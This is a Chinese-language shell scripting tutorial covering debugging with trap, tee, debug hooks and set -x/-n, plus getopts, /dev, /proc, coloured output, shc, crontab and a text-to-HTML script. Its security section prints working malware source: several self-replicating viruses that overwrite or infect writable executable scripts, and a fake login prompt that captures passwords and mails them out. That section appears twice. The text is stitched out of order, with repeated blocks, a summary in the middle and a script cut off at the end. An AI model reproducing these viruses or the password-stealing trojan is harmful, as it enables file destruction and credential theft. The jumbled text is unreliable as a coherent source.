       /dev/zero是一個很是有用的僞設備,它用於建立空文件也能夠建立RAM文件,可經過/dev/zero來創建一個交換文件。

       /dev/null至關於一個文件的「黑洞」 ,它很是接近於一個只寫文件,因此寫入它的內容都會永遠丟失。若不想使用stdout,能夠經過使用/dev/null將stdout禁止。如find / -name string > /dev/null,把查找的錯誤提示轉移到特定的目錄中。shell中會有以下命令: >/dev/null 2>&1,其中」>/dev/null「等價於」1>/dev/null「表示標準輸出重定向到空設備文件,「2>&1」表示標準錯誤輸出重定向等同於標準輸出,也重定向到空設備文件。例如find / -name string > result.log 2>&1(等價於find / -name string 2> result.log 1>&2)。

(4)Shell中/proc文件系統

      /proc文件系統是一個僞文件系統,它只存在內存中而不佔用外存空間。它以文件系統的方式爲訪問系統內核數據的操做提供接口。用戶和應用程序能夠經過/proc獲得系統的信息並能夠改變內核的某些參數。因爲系統的信息(如進程)是動態改變的,因此/proc文件系統是動態地從系統內核讀出所需信息並提交的。/proc內的文件常被稱爲虛擬文件,有些文件使用查看命令查看會返回大量信息但文件自己的大小卻會顯示0字節。

      在/proc下有三個很重要的目錄:net、scsi和sys。sys目錄可寫,可經過它來訪問或修改內核的參數,而net和scsi則依賴於內核配置。

      cat /proc/interrupts查看中斷,/proc/sys目錄修改內核參數來優化系統,/proc中有編號(爲進程ID)的子目錄能夠查看運行中的進程信息,cat /proc/filesystems | awk -F'\t' '{print $2}'查看文件系統支持的類型,cat /proc/net/sockstat查看網絡信息,cat /proc/net/tcp查看TCP的具體使用狀況。

(5)帶顏色的shell腳本

       Shell腳本中,腳本執行終端的顏色能夠使用「ANSI很是規字符序列」來生成,如echo -e "\033[44;37;5m Hello World\033[0m",將前景色設置成藍色,背景色設置成白色。-e用於激活特殊字符的解析器,\033引導很是規字符序列,m意味着設置屬性並結束很是規字符序列,"44;37;5"能夠生成不一樣顏色的組合,數值和編碼的先後順序無關。

       選擇的編碼表:

[cpp] view plain copy
 
 
  1. #輸出彩色的字符串的形式  
  2. #!/bin/bash  
  3.   
  4. cfont()  
  5. {  
  6.     while (("$#"!= 0))  
  7.     do  
  8.                 case $1 in  
  9.         -b)  
  10.             echo -ne " "  
  11.             ;;  
  12.         -t)  
  13.             echo -ne "\t"  
  14.             ;;  
  15.         -n)       
  16.             echo -ne "\n"  
  17.             ;;  
  18.         -black)  
  19.             echo -ne "\033[30m"    #黑色前景  
  20.             ;;  
  21.                 -red)  
  22.             echo -ne "\033[31m"    #紅色前景  
  23.             ;;  
  24.                 -green)  
  25.              echo -ne "\033[32m"   #綠色前景  
  26.              ;;  
  27.                 -yellow)  
  28.              echo -ne "\033[33m"   #黃色前景  
  29.              ;;  
  30.                 -blue)  
  31.              echo -ne "\033[34m"   #藍色前景  
  32.              ;;  
  33.                 -purple)  
  34.              echo -ne "\033[35m"   #紫色前景  
  35.              ;;  
  36.                 -cyan)  
  37.              echo -ne "\033[36m"   #青色前景  
  38.              ;;  
  39.                 -white|-gray)  
  40.              echo -ne "\033[37m"   #白色/灰色前景  
  41.              ;;  
  42.         -reset)  
  43.                  echo -ne "\033[0m"    #從新設置屬性到默認設置  
  44.              ;;  
  45.         -h|-help|--help)  
  46.              echo "Usage: cfont -color1 message1 -color2 message2 ..."  
  47.              echo "eg: cfont -red [ -blue message1 message2 -red ]"  
  48.              ;;  
  49.          *)  
  50.              echo -ne "$1"  
  51.              ;;  
  52.         esac  
  53.           
  54.         shift  
  55.     done  
  56. }  
  57.   
  58. cfont -green "Start service ..." -red  " [" -blue " OK" -red " ]" -black -n  

三、Shell腳本安全

(1)shc工具加密shell腳本

      若Shell腳本中包含敏感的口令或其餘重要信息,並且不但願用戶經過ps -ef捕獲敏感信息,可用shc工具給腳本增長一層額外的安全保護。shc使用RC4加密算法把shell腳本轉換成二進制可執行文件(支持靜態和動態連接)。

      shc安裝後使用命名進行加密:shc -v -f filename.sh,-v是輸出詳細編譯日誌,-f指定腳本的名稱。加密成功後會生成以.x和.c結尾的兩個新文件,如生成可執行文件filename.sh.x和C語言源文件filename.sh.x.c。

(2)shell腳本簡單病毒

最原始的shell病毒:

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. for file in *  
  4. do  
  5.     cp $0 $file  
  6. done  
       遍歷當前文件系統的全部文件,而後覆蓋全部文件,但linux是多用戶操做系統,它的文件具備保護模式,因此上述腳本會報出一大堆錯誤,因此會很快被管理員發現並制止它的傳染,爲加強其隱蔽性對腳本進行改進:

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. for file in *  
  4. do  
  5.     if test -f $file          #測試是不是文件  
  6.     then  
  7.         if test -x $file      #測試文件是否可執行  
  8.         then  
  9.             if test -w $file  #測試文件是否可讀  
  10.             then  
  11.                 grep -s "myself_flag" $file > .temp 2>&1   #判斷本身的一個標誌,是否爲該shell腳本  
  12.                 #能夠寫成 if file $file | grep -s 'shell script' > /dev/null  
  13.                 if [ $? -ne 0 ]   
  14.                 then  
  15.                     cp -f $0 $file  
  16.                 fi  
  17.              fi  
  18.          fi  
  19.      fi  
  20. done  
  21. rm .temp -f  
可是腳本病毒一旦在感染完畢後就什麼也不作了,它沒有像二進制病毒那樣的潛伏的危害性,只是簡單的覆蓋宿主而已。

下面利用傳統的二進制病毒的感染機制並優化的代碼:

[cpp] view plain copy
 
 
  1. #!/bin/bash infection  
  2. for file in * ;  do  
  3.     if test -f $file && test -x $file && test -w $file ;  then  
  4.         if grep -s "myself_flag" $file > /dev/null ; then  
  5.             head -n 1 $file > .mm    #提取要感染的腳本第一行  
  6.             if grep -s "infection" .mm > /dev/null ;  then  
  7.                 rm .mm -f  
  8.             else  
  9.                 cat $file > .SAVE    #藉助傳統的二進制的感染機制  
  10.                 head -n 14 $0 > $file  
  11.                 cat .SAVE >> $file   #追加到文件  
  12.      fi;fi;fi  
  13. done  
  14. rm .SAVE .mm -f  
接着能夠使用crontab命令讓系統以必定的時間間隔調度這些命令執行或設置成開機自動運行便可。

(2)shell木馬

Shell中一樣存在木馬,它看上去無害,卻隱藏着很大的危險。

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2. clear  
  3. cat /etc/issue  
  4. echo -n "login:"  
  5. read login  
  6. echo -n "password:"  
  7. stty -echo  
  8. read passwd  
  9. stty sane  
  10. mail $USER <<- fin  
  11. login:$login  
  12. passwd:$passwd  
  13. fin  
  14. echo  
  15. echo "login incorrect"  
  16. sleep 1  
  17. exit 0  
一個盜取別人passwd的shell腳本,固然有經驗的linux使用者如下就能區分出來,能夠將該木馬作的更隱蔽。

 

四、Shell簡單應用

(1)將文本轉換成HTML

 

[cpp] view plain copy
 
 
  1. B Liu:Shanghai Jiaotong University:Shanghai:China  
  2. C Lin:University of Toronto:Toronto:Canada  
  3. D Hou:Beijing University:Beijing:China  
  4. J Luo:Southeast University:Nanjing:China  
  5. Y Zhang:Victory University:Melbourne:Australia  

新建htmlconver.sh腳本,chmod +x htmlconver.sh,而後執行./htmlconver.sh < html.txt > conver.html。

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2. cat << CLOUD  
  3. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">  
  4. <HTML>  
  5.  <HEAD>  
  6.    <TITLE>  
  7.    information  
  8.    </TITLE>  
  9.  </HEAD>  
  10.  <BODY>  
  11.    <TABLE>  
  12. CLOUD  
  13.   
  14. sed -e 's/:/<\/TD><TD>/g' -e 's/^/<TR><TD>/g' -e 's/$/<\/TD><\/TR>/g'  
  15. #等價於awk 'BEGIN {FS=":";OFS="</TD><TD>"} gsub(/^/,"<TR>&lt;TD>") gsub(/$/,"</TD></TR>") {print $1,$2,$3,$4}'  
  16. cat << CLOUD  
  17.  </TABLE>  
  18.  </BODY>  
  19.  </HTML>  
  20. CLOUD  
(2)crontab定時任務

       crondtab是linux下用來週期性的執行某種任務或等待處理某些事件的一個守護進程,與windows下的計劃任務相似,crondtab進程每分鐘會按期檢查是否有要執行的任務,若是有要執行的任務,則自動執行該任務。

        每一個用戶都有本身的調度crontab,能夠使用crontab -u user -e或切換到user使用vim /etc/crontab(也可crontab -e)編輯crontab定時任務調度表。crontab命令選項意義以下:

      linux還定義了兩個控制文件來控制crontab,它們是:/etc/cron.allow和/etc/cron.deny。/etc/cron.allow表示哪些用戶能使用crontab命令,若cron.allow爲空則代表全部用戶都不能安排定時任務;若該文件不存在則會查看/etc/cron.deny,只有不包含在這個文件中的用戶才能夠使用crontab命令;若cron.deny爲空則任何用戶均可以安排做業。兩個文件同時存在cron.allow優先,同時不存在只有root用戶能安排定時任務。

      打開/etc/crontab:

 

crontab文件的基本格式 :
*         *   *    *       *  command 
minute  hour   day   month   week   command

其中:

 

minute: 表示分鐘,能夠是從0到59之間的任何整數(每分鐘用*或者 */1表示)。

hour:表示小時,能夠是從0到23之間的任何整數(0表示0點)。

day:表示日期,能夠是從1到31之間的任何整數。

month:表示月份,能夠是從1到12之間的任何整數。

week:表示星期幾,能夠是從0到7之間的任何整數,這裏的0或7表明星期日。

command:要執行的命令,能夠是系統命令,也能夠是本身編寫的腳本文件。

 

在以上各個字段中,還能夠使用如下特殊字符:

星號(*):表明全部可能的值,例如month字段若是是星號,則表示在知足其它字段的制約條件後每個月都執行該命令操做。

逗號(,):能夠用逗號隔開的值指定一個列表範圍,例如,「1,2,5,7,8,9」

中槓(-):能夠用整數之間的中槓表示一個整數範圍,例如「2-6」表示「2,3,4,5,6」

正斜線(/):能夠用正斜線指定時間的間隔頻率,例如「0-23/2」表示每兩小時執行一次。同時正斜線能夠和星號一塊兒使用,例如*/10,若是用在minute字段,表示每十分鐘執行一次。

      crontab例子如:下午4:50刪除/abc目錄下全部子目錄和文件:  50 16 * * * rm -r /abc/*

      crontab實現定時文件備份的例子,shell腳本實現備份功能,在crontab中定時天天執行腳本。腳本名稱爲fileback.sh.

[cpp] view plain copy
 
 
  1. #使用root權限將/etc目錄下的全部內容進行備份  
  2. #fileback.sh  
  3. #!/bin/bash  
  4.   
  5. DIRNAME=`ls /root | grep bak`       #獲取/root/bak字符串  
  6.   
  7. if [ -z "$DIRNAME" ]                #若是/root/bak不存在,則建立一個  
  8. then  
  9. mkdir /root/bak  
  10. cd /root/bak  
  11. fi  
  12.   
  13. #獲取當前年、月、日數據存儲到YY、MM、DD變量中  
  14. YY=`date +%y`  
  15. MM=`date +%m`  
  16. DD=`date +%d`  
  17.   
  18. BACKETC=$YY$MM$DD_etc.tar.gz        #備份文件的名字  
  19. tar zcvf $BACKETC /etc              #將/etc全部文件打包  
  20. echo "fileback finished!"  
      先登陸root用戶,cat /etc/crontab,在末尾加上:59 23 * * * /bin/bash /use/bin/filebach.sh,表示天天23:59執行一次filebach.sh腳本。

3、總結

(1)Shell腳本調試難度大,熟練使用trap、tee、調試鉤子和shell選項將更方便地調試錯誤。

(2)Shell下有顏色的腳本和腳本安全的內容仍是比較有趣的,讀者能夠網上搜索更多的內容來補充。

(3)crontab定時任務對於Shell腳本的定時計劃性執行仍是很是有用的。

1、簡介

       Shell中不存在調試器,對腳本中產生的語法錯誤只會產生模糊的錯誤提示信息。shell中也常常存在隱澀的邏輯錯誤,使得腳本沒法按照程序員的意願運行。所以shell腳本的調試有了很大的難度。好的編程風格和習慣也是爲了減少調試程序的難度。

2、詳解

一、Shell調試技術

      Shell腳本調試就是發現引起腳本錯誤的緣由以及在腳本源代碼中定位發生錯誤的行,經常使用的手段包括分析輸出的錯誤信息、經過在腳本中加入調試語句、輸出調試信息來輔助診斷錯誤、利用調試工具等。

(1)shell錯誤

       Shell腳本的錯誤能夠分爲兩類,第一類是Shell腳本中存在的語法錯誤,這種比較直觀,只要定位發生錯誤的代碼段或行,好比漏寫關鍵字、漏寫引號、空格符該有而未有、變量大小寫不區分等;第二類是Shell腳本可以執行完畢,但並非按照咱們所指望的方式運行,即存在邏輯錯誤,這種比較隱晦,並不影響腳本的正常執行。

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2. count=1  
  3. MAX=5  
  4.   
  5. while [ "$SECONDS" -le "$MAX" ];do  
  6.   echo "This is the $count time to sleep."  
  7.   count=$count+1  
  8.   ###正確應是: let count=$count+1,把count看成整數處理  
  9.   sleep 2  
  10. done  
  11.   
  12. echo "The running time of this script is $SECONDS"  
[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. Var1=56  
  4. Var2=865  
  5.   
  6. let Var3=Var1*var2  
  7. ###正確的是:   let Var3=Var1*Var2,未區分大小寫字母,變量var2=0  
  8. echo "$Var1*$Var2=$Var3"  
(2)shell調試技術之一:trap命令

       trap命令是linux內建命令,用於捕捉信號。trap命令能夠指定收到某種信號時所執行的命名,格式爲:trap command sig1 sig2 ... sigN。

       Shell腳本執行會產生三個所謂的「僞信號」(由於這三個信號是shell產生的,而其餘信號是由操做系統產生的),能夠利用trap命令捕獲這三個「僞信號」。它們分別是EXIT、ERR和DEBUG,其產生條件以下表:

      trap命令經過捕捉三種「僞信號」能方便地隨時監控變量的變化、正常函數和腳本的結束、跟蹤異常的函數和命令。

 

[cpp] view plain copy
 
 
  1. #利用trap命令捕捉DEBUG信號跟蹤變量值  
  2. #!/bin/bash  
  3.   
  4. trap 'echo "before execute line:$LINENO, a=$a,b=$b,c=$c"' DEBUG  #LINENO是shell內部變量,打印執行命令的行號  
  5. a=0  
  6. b=2  
  7. c=100  
  8. while :                            #冒號至關於TRUE  
  9. do  
  10.     if ((a >= 10))                 #i大於等於10時,跳出while循環  
  11.     then  
  12.         break  
  13.     fi  
  14. echo "*************"  
  15. let "a=a+2"  
  16. let "b=b*2"  
  17. let "c=c-10"  
  18. done  

       上圖爲部分輸出截圖,其中因爲trap命令的存在,每執行一行命名前都輸出a、b、c三個變量的值。執行第5行a=0前捕捉到DEBUG信號,打印未初始化的三個變量的值。trap、do、then、done、fi都無DEBUG信號發出。

       利用trap命令捕獲DEBUG信號,只需一條trap語句就能夠完成對相關變量的全程跟蹤,分析運行結果能夠看到整個腳本的執行軌跡,判斷哪些條件分支執行了哪些條件分支沒有執行。

 

[cpp] view plain copy
 
 
  1. #利用trap命令捕捉EXIT信號跟蹤函數結束  
  2. #!/bin/bash  
  3.   
  4. fun1()  
  5. {  
  6.   echo "This is an correct function"  
  7.   var=2010  
  8.   return 0              #return不發送EXIT信號  
  9. }  
  10. trap 'echo "Line:$LINENO,var=$var"' EXIT  
  11. echo "*************"  
  12. fun1  
  13. echo "------------"  
  14. exit 0              #發送EXIT信號,執行結果: Line:1,var=2010  
[cpp] view plain copy
 
 
  1. #trap捕捉ERR信號跟蹤函數或命名異常,一條命令返回非零狀態碼時即執行不成功  
  2. #!/bin/bash  
  3.   
  4. fun2()  
  5. {  
  6.   echo "This is an error function"  
  7.   var=2010  
  8.   return 1               #非零被認爲是異常函數,產生ERR信號  
  9. }  
  10. trap 'echo "Line:$LINENO,var=$var"' ERR  
  11. fun2  
  12. ipconfig                 #錯誤的命令,正確是ifconfig,產生ERR信號  

(3)shell調試技術之二:tee命令

      tee命令產生的數據流向字母T,將一個輸出分爲兩個支流,一個到標準輸出另外一個到某輸出文件。tee的特性能夠使用到shell的管道及輸入/輸出重定向的調試上,使用管道時,其中間結果不會顯示在屏幕上,若管道鏈接的一系列命名的執行並不是預期結果,則調試出現困難,此時就得藉助於tee命名。

      利用tee命令得到機器的IP地址(很是實用)。

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. localIP=`cat /etc/sysconfig/network-scripts/ifcfg-p4p1 | tee debug.log | grep 'IPADDR' | tee -a debug.log | cut -d= -f2 | tee -a debug.log`  
  4. echo "The local IP is: $localIP"  
[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. localIP=`ifconfig | grep 'inet addr' | grep -v '127.0.0.1' | cut -d: -f3 | awk '{print $1}'`  
  4. echo "The local IP is: $localIP"  

      在當前目錄下會產生debug.log文件,tee -a追加到文件,所以debug.log保存了處理的信息,查看文件瞭解管道間的數據流向。

      tee命令適用於管道的調試,觀察tee命令產生的中間結果文件,能夠清晰地看出管道間的數據流向。

(4)shell調試技術之三:調試鉤子

      調試鉤子也稱爲調試塊,其實是if/then結構的代碼塊,在程序開發調試階段將DEBUG設置成TRUE,到發佈階段將DEBUG設置成FALSE,關閉調試鉤子,無須刪除代碼。調試鉤子的代碼:

 

[cpp] view plain copy
 
 
  1. DEBUG()  
  2. {  
  3.   if [ "$DEBUG" = "true" ]  
  4.   then  
  5.     echo "Debugging information:"  
  6.   fi  
  7. }  
      調試鉤子中DEBUG是一個全局變量,開發調試階段,可利用export DEBUG=true命令將DEBUG設置成true,執行調試信息。

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. DEBUG()  
  4. {  
  5.   if [ "$DEBUG" = "true" ]  
  6.   then  
  7.     $@                         #輸出全部參數信息與$*等價  
  8.   fi  
  9. }  
  10.   
  11. a=0  
  12. b=2  
  13. c=100  
  14. DEBUG echo "a=$a b=$b c=$c"    #第1個調試鉤子  
  15. while :                           
  16. do  
  17.   DEBUG echo "a=$a b=$b c=$c"  #第2個調試鉤子  
  18.   if ((a >= 10))                 #當a大於等於10時,跳出while循環  
  19.  then  
  20.         break  
  21.     fi  
  22.   
  23. let "a=a+2"                       #a、b、c值不斷變化  
  24. let "b=b*2"  
  25. let "c=c-10"  
  26. done  

(5)shell調試技術之四:shell選項

利用set命令開啓和關閉shell選項的方法,不用修改源代碼便可輸出相關的調試信息。用於腳本的調試選項是-n、-x和-c。

      Shell腳本編寫完成後,使用-n選項來測試腳本是否存在語法錯誤是一個很好的習慣。由於實際執行腳本會對系統環境產生影響,則執行時發現語法錯誤還得作一系列的系統環境的恢復工做,才能繼續測試腳本。腳本中開啓-n選項,使用set -n或set -o noexec,腳本會檢測語法並不執行。也能夠利用sh命名直接對腳本進行語法檢查:sh -n 腳本名。

      -x選項用來跟蹤腳本的執行,把實際執行的每一條命令行顯示出來,並在行首顯示一個「+」符號,「+」符號後面顯示的是通過了變量替換以後的命名行內容,有助於分析實際執行的命令。-x選項常常與trap捕捉DEBUG信號結合使用,這樣既能夠輸出實際執行的每一條命令又能夠逐行跟蹤相關變量的值,對調試有很大的幫助。可在腳本內使用set -x或使用sh -x執行腳本。

     -x選項以「+」做爲提示符表示調試信息,顯得美中不足,能夠經過shell提供的三個有用的內部變量定製-x選項的提示符。設置PS4使得-x提示符能包含LINENO和FUNCNAME等豐富的信息。

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. isroot()           #判斷執行腳本的用戶是不是root  
  4. {  
  5.     if [ "$UID" -ne 0 ]  
  6.   then  
  7.     return 1  
  8.   else  
  9.     return 0  
  10.   fi  
  11. }  
  12.   
  13. echoroot()  
  14. {  
  15.     isroot                #調用函數  
  16.   if [ "$?" -ne 0 ]  
  17.   then  
  18.     echo "I am not ROOT user!"  
  19.   else  
  20.     echo "ROOT user!"  
  21.   fi  
  22. }  
  23.   
  24. export PS4='+{$LINENO:${FUNCNAME[0]}:${FUNCNAME[1]}}'   #對PS4變量從新賦值  
  25. echoroot  
      -c選項做用是使用shell解釋器從一個字符串中而不是文件中讀取並執行shell命名,僅用於臨時測試一小段腳本的執行結果,而在shell命令行直接輸入也會達到相同效果,所以使用頻率不高。如sh -c 'a=2;b=2012;let c=$a*$b;echo "c=$c"',命令間用分號分隔。

二、Shell主題

(1)Shell說明和用戶提示信息

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. flag=0;  
  4.   
  5. echo "This script is used to username and password what you input is right or wrong. "  
  6.   
  7. for ((i=0 ; i < 3 ; i++))  
  8. do  
  9.     echo -n "Please input your name: "  
  10.     read username  
  11.   
  12.     echo -n "Please input your password: "  
  13.     read password  
  14.   
  15.     if test "$username" = "user" -a "$password" = "pwd"   
  16.     then  
  17.         echo "login success"  
  18.         flag=1  
  19.         break  
  20.     else   
  21.         echo "The username or password is wrong!"  
  22.     fi  
  23. done  
  24.   
  25. if [ "$flag" -eq "0" ]  
  26. then  
  27.     echo "You have tried 3 times. Login fail!"  
  28. fi  
(2)Shell特殊命令,shift和getopts

      shift命令主要用於向腳本傳遞參數時每次將參數位置向左偏移一位。

      使用shift顯示全部的命令行參數:

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. echo "number of arguments is $#"  
  4.   
  5. echo "What you input is: "  
  6.   
  7. while [[ "$*" != "" ]]  #等價於while [ "$#" -gt 0 ]  
  8. do  
  9.     echo "$1"  
  10.     shift  
  11. done  
       Shell中提供了一條獲取和處理命令行選項的getopts語句,使得控制多個命令行參數更加容易。格式爲getopts option variable,option中包含一個有效的單字符選項。若getopts命令在命令行中發現了連字符,那麼命名將用連字符後面的字符與option相比較,若匹配成功則 把變量variable值設爲該選項,若匹配不成功,則variable設爲「?」。當getopts發現連字符後面沒有字符後會返回一個非零的狀態值。

      有時有必要在腳本中指定命令行選項取值,getopts提供了一種方式,在option中將一個冒號放在選項後,如getopts ab: variable表示-a後能夠不加實際值進行傳遞,而-b後必須取值,若是試圖不取值傳遞此選項,會返回一個錯誤信息。有時錯誤信息提示並不明確,須要本身定義提示信息屏蔽它,那麼將冒號放在option的開始部分,如getopts :ab: variable。

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. while getopts ":fh:" optname   
  4.  do         
  5.       case "$optname" in  
  6.       f)  
  7.              echo "Option $optname is specified"  
  8.             ;;  
  9.        h)  
  10.              echo "Option $optname has value $OPTARG"  
  11.              ;;  
  12.       \?)  
  13.              echo "Unknown option $OPTARG"  
  14.              ;;  
  15.        :)  
  16.              echo "No parameter value for option $OPTARG"  
  17.              ;;  
  18.        *)  
  19.            echo "Unknown error while processing options"  
  20.              ;;  
  21.         esac  
  22.  done  
  23.   
  24. shift $(($OPTIND - 1))  
  25.   
  26. for options in "$@"  
  27. do  
  28.     if [ ! -f $2 ]  
  29.     then  
  30.         echo "Can not find file $options . "  
  31.     else  
  32.         echo "Find the file $options . "  
  33.     fi  
  34. done  

-f用於判斷輸入的第二哥命令行參數是否爲文件,而-h後必須取值。

(3)Shell中/dev文件系統

       Shell中存在僞文件系統/dev,該文件系統包含每一個物理設備對應的文件。若需掛載物理設備或虛擬物理設備則可經過操做/dev完成。/dev/null和/dev/zero是兩個特殊的僞設備,它們是虛擬的僅僅存在於軟件的虛擬設備中。

       /dev/zero是一個很是有用的僞設備,它用於建立空文件也能夠建立RAM文件,可經過/dev/zero來創建一個交換文件。

       /dev/null至關於一個文件的「黑洞」 ,它很是接近於一個只寫文件,因此寫入它的內容都會永遠丟失。若不想使用stdout,能夠經過使用/dev/null將stdout禁止。如find / -name string > /dev/null,把查找的錯誤提示轉移到特定的目錄中。shell中會有以下命令: >/dev/null 2>&1,其中」>/dev/null「等價於」1>/dev/null「表示標準輸出重定向到空設備文件,「2>&1」表示標準錯誤輸出重定向等同於標準輸出,也重定向到空設備文件。例如find / -name string > result.log 2>&1(等價於find / -name string 2> result.log 1>&2)。

(4)Shell中/proc文件系統

      /proc文件系統是一個僞文件系統,它只存在內存中而不佔用外存空間。它以文件系統的方式爲訪問系統內核數據的操做提供接口。用戶和應用程序能夠經過/proc獲得系統的信息並能夠改變內核的某些參數。因爲系統的信息(如進程)是動態改變的,因此/proc文件系統是動態地從系統內核讀出所需信息並提交的。/proc內的文件常被稱爲虛擬文件,有些文件使用查看命令查看會返回大量信息但文件自己的大小卻會顯示0字節。

      在/proc下有三個很重要的目錄:net、scsi和sys。sys目錄可寫,可經過它來訪問或修改內核的參數,而net和scsi則依賴於內核配置。

      cat /proc/interrupts查看中斷,/proc/sys目錄修改內核參數來優化系統,/proc中有編號(爲進程ID)的子目錄能夠查看運行中的進程信息,cat /proc/filesystems | awk -F'\t' '{print $2}'查看文件系統支持的類型,cat /proc/net/sockstat查看網絡信息,cat /proc/net/tcp查看TCP的具體使用狀況。

(5)帶顏色的shell腳本

       Shell腳本中,腳本執行終端的顏色能夠使用「ANSI很是規字符序列」來生成,如echo -e "\033[44;37;5m Hello World\033[0m",將前景色設置成藍色,背景色設置成白色。-e用於激活特殊字符的解析器,\033引導很是規字符序列,m意味着設置屬性並結束很是規字符序列,"44;37;5"能夠生成不一樣顏色的組合,數值和編碼的先後順序無關。

       選擇的編碼表:

[cpp] view plain copy
 
 
  1. #輸出彩色的字符串的形式  
  2. #!/bin/bash  
  3.   
  4. cfont()  
  5. {  
  6.     while (("$#"!= 0))  
  7.     do  
  8.                 case $1 in  
  9.         -b)  
  10.             echo -ne " "  
  11.             ;;  
  12.         -t)  
  13.             echo -ne "\t"  
  14.             ;;  
  15.         -n)       
  16.             echo -ne "\n"  
  17.             ;;  
  18.         -black)  
  19.             echo -ne "\033[30m"    #黑色前景  
  20.             ;;  
  21.                 -red)  
  22.             echo -ne "\033[31m"    #紅色前景  
  23.             ;;  
  24.                 -green)  
  25.              echo -ne "\033[32m"   #綠色前景  
  26.              ;;  
  27.                 -yellow)  
  28.              echo -ne "\033[33m"   #黃色前景  
  29.              ;;  
  30.                 -blue)  
  31.              echo -ne "\033[34m"   #藍色前景  
  32.              ;;  
  33.                 -purple)  
  34.              echo -ne "\033[35m"   #紫色前景  
  35.              ;;  
  36.                 -cyan)  
  37.              echo -ne "\033[36m"   #青色前景  
  38.              ;;  
  39.                 -white|-gray)  
  40.              echo -ne "\033[37m"   #白色/灰色前景  
  41.              ;;  
  42.         -reset)  
  43.                  echo -ne "\033[0m"    #從新設置屬性到默認設置  
  44.              ;;  
  45.         -h|-help|--help)  
  46.              echo "Usage: cfont -color1 message1 -color2 message2 ..."  
  47.              echo "eg: cfont -red [ -blue message1 message2 -red ]"  
  48.              ;;  
  49.          *)  
  50.              echo -ne "$1"  
  51.              ;;  
  52.         esac  
  53.           
  54.         shift  
  55.     done  
  56. }  
  57.   
  58. cfont -green "Start service ..." -red  " [" -blue " OK" -red " ]" -black -n  

三、Shell腳本安全

(1)shc工具加密shell腳本

      若Shell腳本中包含敏感的口令或其餘重要信息,並且不但願用戶經過ps -ef捕獲敏感信息,可用shc工具給腳本增長一層額外的安全保護。shc使用RC4加密算法把shell腳本轉換成二進制可執行文件(支持靜態和動態連接)。

      shc安裝後使用命名進行加密:shc -v -f filename.sh,-v是輸出詳細編譯日誌,-f指定腳本的名稱。加密成功後會生成以.x和.c結尾的兩個新文件,如生成可執行文件filename.sh.x和C語言源文件filename.sh.x.c。

(2)shell腳本簡單病毒

最原始的shell病毒:

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. for file in *  
  4. do  
  5.     cp $0 $file  
  6. done  
       遍歷當前文件系統的全部文件,而後覆蓋全部文件,但linux是多用戶操做系統,它的文件具備保護模式,因此上述腳本會報出一大堆錯誤,因此會很快被管理員發現並制止它的傳染,爲加強其隱蔽性對腳本進行改進:

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. for file in *  
  4. do  
  5.     if test -f $file          #測試是不是文件  
  6.     then  
  7.         if test -x $file      #測試文件是否可執行  
  8.         then  
  9.             if test -w $file  #測試文件是否可讀  
  10.             then  
  11.                 grep -s "myself_flag" $file > .temp 2>&1   #判斷本身的一個標誌,是否爲該shell腳本  
  12.                 #能夠寫成 if file $file | grep -s 'shell script' > /dev/null  
  13.                 if [ $? -ne 0 ]   
  14.                 then  
  15.                     cp -f $0 $file  
  16.                 fi  
  17.              fi  
  18.          fi  
  19.      fi  
  20. done  
  21. rm .temp -f  
可是腳本病毒一旦在感染完畢後就什麼也不作了,它沒有像二進制病毒那樣的潛伏的危害性,只是簡單的覆蓋宿主而已。

下面利用傳統的二進制病毒的感染機制並優化的代碼:

[cpp] view plain copy
 
 
  1. #!/bin/bash infection  
  2. for file in * ;  do  
  3.     if test -f $file && test -x $file && test -w $file ;  then  
  4.         if grep -s "myself_flag" $file > /dev/null ; then  
  5.             head -n 1 $file > .mm    #提取要感染的腳本第一行  
  6.             if grep -s "infection" .mm > /dev/null ;  then  
  7.                 rm .mm -f  
  8.             else  
  9.                 cat $file > .SAVE    #藉助傳統的二進制的感染機制  
  10.                 head -n 14 $0 > $file  
  11.                 cat .SAVE >> $file   #追加到文件  
  12.      fi;fi;fi  
  13. done  
  14. rm .SAVE .mm -f  
接着能夠使用crontab命令讓系統以必定的時間間隔調度這些命令執行或設置成開機自動運行便可。

(2)shell木馬

Shell中一樣存在木馬,它看上去無害,卻隱藏着很大的危險。

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2. clear  
  3. cat /etc/issue  
  4. echo -n "login:"  
  5. read login  
  6. echo -n "password:"  
  7. stty -echo  
  8. read passwd  
  9. stty sane  
  10. mail $USER <<- fin  
  11. login:$login  
  12. passwd:$passwd  
  13. fin  
  14. echo  
  15. echo "login incorrect"  
  16. sleep 1  
  17. exit 0  
一個盜取別人passwd的shell腳本,固然有經驗的linux使用者如下就能區分出來,能夠將該木馬作的更隱蔽。

 

四、Shell簡單應用

(1)將文本轉換成HTML

 

[cpp] view plain copy
 
 
  1. B Liu:Shanghai Jiaotong University:Shanghai:China  
  2. C Lin:University of Toronto:Toronto:Canada  
  3. D Hou:Beijing University:Beijing:China  
  4. J Luo:Southeast University:Nanjing:China  
  5. Y Zhang:Victory University:Melbourne:Australia  

新建htmlconver.sh腳本,chmod +x htmlconver.sh,而後執行./htmlconver.sh < html.txt > conver.html。

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2. cat << CLOUD  
  3. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">  
  4. <HTML>  
  5.  <HEAD>  
  6.    <TITLE>  
  7.    information  
  8.    </TITLE>  
  9.  </HEAD>  
  10.  <BODY>  
